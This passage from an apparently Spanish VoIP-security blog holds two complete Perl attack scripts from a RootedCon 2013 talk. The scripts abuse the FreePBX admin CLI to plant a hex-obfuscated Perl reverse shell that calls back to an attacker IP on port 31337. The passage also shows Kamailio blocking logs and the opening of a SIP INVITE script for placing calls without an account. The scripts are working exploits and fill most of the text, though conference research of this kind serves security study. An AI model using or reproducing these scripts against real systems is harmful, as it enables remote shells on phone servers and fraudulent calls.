        return
end

 

Si lo ejecutamos bloqueando IPs españolas obtendremos algo así:

Jul 30 20:44:51 sip /usr/sbin/kamailio[1672]: ALERT: <script>: Received REGISTER from a blacklisted country (ES)! user1 (IP:62.xx.xx.xx) - Sending Drop ...
Jul 30 20:44:52 sip /usr/sbin/kamailio[1672]: ALERT: <script>: Received REGISTER from a blacklisted country (ES)! user2 (IP:62.xx.xx.xx) - Sending Drop ...
Jul 30 20:44:53 sip /usr/sbin/kamailio[1674]: ALERT: <script>: Received REGISTER from a blacklisted country (ES)! user3 (IP:83.xx.xx.xx) - Sending Drop ...
Jul 30 20:44:53 sip /usr/sbin/kamailio[1672]: ALERT: <script>: Received REGISTER from a blacklisted country (ES)! user4 (IP:83.xx.xx.xx) - Sending Drop ...
Jul 30 20:44:53 sip /usr/sbin/kamailio[1693]: ALERT: <script>: Received REGISTER from a blacklisted country (ES)! user5 (IP:62.xx.xx.xx) - Sending Drop ...

 

De lectura obligatoria:

http://www.kamailio.org/wiki/tutorials/security/kamailio-security

 

FreePBX for Fun & Profit

Lunes, junio 17th, 2013

Hace unos días salió publicado el vídeo de mi charla en la RootedCon 2013, sobre un análisis de seguridad en plataformas basadas en Asterisk del tipo FreePBX, Elastix o Trixbox. Lo podéis ver aquí:

FreePBX for Fun & Profit

Los slides se pueden ver o descargar en Slideshare:
freepbx-slides

Y los dos scripts usados durante la charla:

Primer script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
#use LWP::Debug qw(+);

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1");
$ua->timeout(10);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";

#print "\e[2J";
#system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
                         "u=s" => \$user,
                         "ip=s" => \$ip,
                         "port=s" => \$port,
                         "p=s" => \$pass,
                         "cli=s" => \$cli,
                         "ext=s" => \$ext,
                         "cs+" => \$create,
                         "es+" => \$execute);

if ($h eq 1 || $host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
	Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url =  "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
	my $res = asterisk_cli($cli);
	print "$res\n";
}

if ($create eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($sc1);
	asterisk_cli($sc2);
	asterisk_cli($sc3);
	asterisk_cli($sc4);
	asterisk_cli($sc5);
	asterisk_cli($sc6);
	asterisk_cli($sc7);
	asterisk_cli($sc8);
	asterisk_cli($sc9);
	asterisk_cli($sc10);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

if ($execute eq 1) {
	asterisk_cli($dreload);
	sleep(2);
	asterisk_cli($se1);
	asterisk_cli($se2);
	asterisk_cli($se3);
	my $res = asterisk_cli($dshow);
	print "$res\n";
}

exit;

sub asterisk_cli {
	my $command = shift;

	@header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
		Content => [ txtCommand => $command ]);

	my $response = $ua->post($url, @header);
	my $result = $response->content;

	my	$x = index($result, "<pre>") + 5;
	my	$y = index($result, "</pre>");
	$result = substr($result, $x, $y-$x);

	return $result;
}

sub encode {
	my $data = shift;

	$data =~ s/3/\\\\x33/g;
	$data =~ s/1/\\\\x31/g;
	$data =~ s/2/\\\\x32/g;
	$data =~ s/4/\\\\x34/g;
	$data =~ s/5/\\\\x35/g;
	$data =~ s/6/\\\\x36/g;
	$data =~ s/7/\\\\x37/g;
	$data =~ s/8/\\\\x38/g;
	$data =~ s/9/\\\\x39/g;
	$data =~ s/\./\\\\x2e/g;

   return $data;
}

sub help {
	print qq{
:: FreePBX for fun & profit - by Pepelux ::
   -------------------------------------

Uso:  $0 -h <host> -u <user> -p <pass> [opciones]

    == Opciones ==
      -cli <commando>  = Ejecutar comando de Asterisk
      -cs              = Crear una shell
      -es              = Ejecutar una shell
      -ip              = Nuestra IP para la shell (para -cs)
      -port            = Puerto para la shell (por defecto: 31337)
      -ext             = Extension a crear (por defecto: 999)

    == Ejemplos ==
      $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
      $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -port 31337
      $0 -h 192.168.1.1 -u admin -p 12345 -es
	};

	print "\n";
	exit 1;
}

Segundo script:

#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=
# FreePBX for fun & profit
# -=-=-=-=-=-=-=-=-=-=-=-=
#
# Jose Luis Verdeguer (Pepelux)
#
# Twitter: @pepeluxx
# Mail: pepeluxx[at]gmail.com
# Blog: blog.pepelux.org

use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common qw(POST);
use Getopt::Long;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;
#use LWP::Debug qw(+);

my $host = "";
my $user = "";
my $pass = "";
my $cli = "";
my $create = 0;
my $execute = 0;
my $ip = "";
my $port = "";
my $ext = "";
my $call = 0;
my $euser = "";
my $epass = "";
my $auto = 0;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my $result = GetOptions ("h=s" => \$host,
 "u=s" => \$user,
 "ip=s" => \$ip,
 "port=s" => \$port,
 "p=s" => \$pass,
 "cli=s" => \$cli,
 "ext=s" => \$ext,
 "call+" => \$call,
 "user=s" => \$euser,
 "pass=s" => \$epass,
 "cs+" => \$create,
 "es+" => \$execute,
 "auto+" => \$auto);

if ($host eq '' || $user eq '' || $pass eq '' || ($cli eq '' && $create eq 0 && $execute eq 0 && $auto eq 0)) { help(); exit 1; }
if ($cli ne '' && ($create eq 1 || $execute eq 1)) { help(); exit 1; }
if ($create eq 1 && $execute eq 1) { help(); exit 1; }
if ($create eq 1 && $ip eq "") { help(); exit 1; }
if ($call eq 1 && $ip eq "") { help(); exit 1; }

$port = "31337" if ($port eq "");
$ext = "999" if ($ext eq "");

if ($auto eq 1) {
 $create = 1;
 $execute = 1;
}

# Mostrar las extensiones
my $eshow = "sip show peers";
# Recargar el dialplan
my $dreload = "dialplan reload";
# Mostrar el dialplan de la extensión EXT
my $dshow = "dialplan show $ext\@ext-local";

my $origip = $ip;

$ip = encode($ip);
$port = encode($port);

# Comandos para crear una shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"echo -e 'use Socket; > /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")); >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,4,system,"echo -e 'if(connect(S,sockaddr_in(PORT,inet_aton("IP")))){' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,5,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,6,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,7,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,8,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
# dialplan add extension EXT,9,hangup, into ext-local

my $sc1 = "dialplan add extension $ext,1,answer, into ext-local";
my $sc2 = "dialplan add extension $ext,2,system,\"echo -e '\\\\x75\\\\x73\\\\x65\\\\x20\\\\x53\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x3b\\\\x0d\\\\x0a' > /tmp/s.pl\" into ext-local";
my $sc3 = "dialplan add extension $ext,3,system,\"echo -e '\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x65\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x50\\\\x46\\\\x5f\\\\x49\\\\x4e\\\\x45\\\\x54\\\\x2c\\\\x53\\\\x4f\\\\x43\\\\x4b\\\\x5f\\\\x53\\\\x54\\\\x52\\\\x45\\\\x41\\\\x4d\\\\x2c\\\\x67\\\\x65\\\\x74\\\\x70\\\\x72\\\\x6f\\\\x74\\\\x6f\\\\x62\\\\x79\\\\x6e\\\\x61\\\\x6d\\\\x65\\\\x28\\\\x22\\\\x74\\\\x63\\\\x70\\\\x22\\\\x29\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc4 = "dialplan add extension $ext,4,system,\"echo -e '\\\\x69\\\\x66\\\\x28\\\\x63\\\\x6f\\\\x6e\\\\x6e\\\\x65\\\\x63\\\\x74\\\\x28\\\\x53\\\\x2c\\\\x73\\\\x6f\\\\x63\\\\x6b\\\\x61\\\\x64\\\\x64\\\\x72\\\\x5f\\\\x69\\\\x6e\\\\x28$port\\\\x2c' >> /tmp/s.pl\" into ext-local";
my $sc5 = "dialplan add extension $ext,5,system,\"echo -e '\\\\x69\\\\x6e\\\\x65\\\\x74\\\\x5f\\\\x61\\\\x74\\\\x6f\\\\x6e\\\\x28\\\\x22$ip\\\\x22\\\\x29\\\\x29\\\\x29\\\\x29\\\\x7b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc6 = "dialplan add extension $ext,6,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x49\\\\x4e\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc7 = "dialplan add extension $ext,7,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x4f\\\\x55\\\\x54\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc8 = "dialplan add extension $ext,8,system,\"echo -e '\\\\x6f\\\\x70\\\\x65\\\\x6e\\\\x28\\\\x53\\\\x54\\\\x44\\\\x45\\\\x52\\\\x52\\\\x2c\\\\x22\\\\x3e\\\\x26\\\\x53\\\\x22\\\\x29\\\\x3b\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc9 = "dialplan add extension $ext,9,system,\"echo -e '\\\\x65\\\\x78\\\\x65\\\\x63\\\\x28\\\\x22\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x2f\\\\x73\\\\x68\\\\x20\\\\x2d\\\\x69\\\\x22\\\\x29\\\\x3b\\\\x7d\\\\x0d\\\\x0a' >> /tmp/s.pl\" into ext-local";
my $sc10 = "dialplan add extension $ext,10,hangup, into ext-local";

# Comandos para ejecutar la shell

# dialplan add extension EXT,1,answer, into ext-local
# dialplan add extension EXT,2,system,"perl /tmp/s.pl" into ext-local
# dialplan add extension EXT,3,hangup, into ext-local

my $se1 = "dialplan add extension $ext,1,answer, into ext-local";
my $se2 = "dialplan add extension $ext,2,system,\"perl /tmp/s.pl\" into ext-local";
my $se3 = "dialplan add extension $ext,3,hangup, into ext-local";

my $url = "http://" . $host . "/admin/config.php";

my $ua = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new();
$ua->cookie_jar($cookie_jar);

my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!

Asterisk – INVITE attack (II)

Sábado, enero 5th, 2013

Hace casi un año (cómo pasa el tiempo) escribí una entrada sobre cómo es posible realizar llamadas a través de un sistema de VoIP sin disponer de ninguna cuenta en el sistema, si se diera el caso de que el servidor no está bien configurado. Si no has leído la entrada, la puedes ver aquí: Asterisk – INVITE attack

Tal y como comenté, en la web de Sinologic podemos comprobar si nuestro servidor es vulnerable ante estos ataques, pero para una mejor comprensión, he programado un pequeño script con el que podemos comprobarlo:

#!/usr/bin/perl
# -=-=-=-=-=-=-=
# SipINVITE v1.0
# -=-=-=-=-=-=-=
#
# Pepelux <pepelux[at]gmail[dot]com>

use warnings;
use strict;
use IO::Socket;
use NetAddr::IP;
use Getopt::Long;
use Digest::MD5;

my $host = '';	   # host
my $port = '';	   # port
my $number = '';	# number to call

my $lport = "5061";
my $myip = "192.168.2.9";

sub init() {
	if ($^O =~ /Win/) {system("cls");}else{system("clear");}

	# check params
	my $result = GetOptions ("h=s" => \$host,
	                         "n=s" => \$number,
	                         "p=s" => \$port);

	help() if ($host eq "" || $number eq "");

	$port = "5060" if ($port eq "");

	invite($host, $port, $number);

	exit;
}

sub invite {
	my $ip = shift;
	my $nport = shift;
	my $user = shift;

	my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$ip, Timeout => 2);

	$lport = $sc->sockport();

	my $branch = &generate_random_string(71, 0);
	my $callerid = &generate_random_string(32, 1);

	my $msg = "INVITE sip:".$number."@".$ip.";transport=UDP SIP/2.0\n";
	$msg .= "Supported: \n";
	$msg .= "Allow: INVITE, ACK, OPTIONS, CANCEL, BYE\n";
	$msg .= "Contact: $user <sip:".$user."@".$myip.":$lport>\n";
	$msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=$branch\n";
	$msg .= "Call-id: $callerid\n";
	$msg .= "Cseq: 1 INVITE\n";
	$msg .= "From: 100 <sip:100@".$myip.">;tag=ddb044893807095baf1cf07269f03118\n";
	$msg .= "Max-forwards: 70\n";
	$msg .= "To: <sip:".$user."@".$ip.">\n";
	$msg .= "Content-length: 123\n\n";
	$msg .= "v=0\n";
	$msg .= "o=anonymous 1312841870 1312841870 IN IP4 $ip\n";
	$msg .= "s=session\n";
	$msg .= "c=IN IP4 $ip\n";
	$msg .= "t=0 0\n";
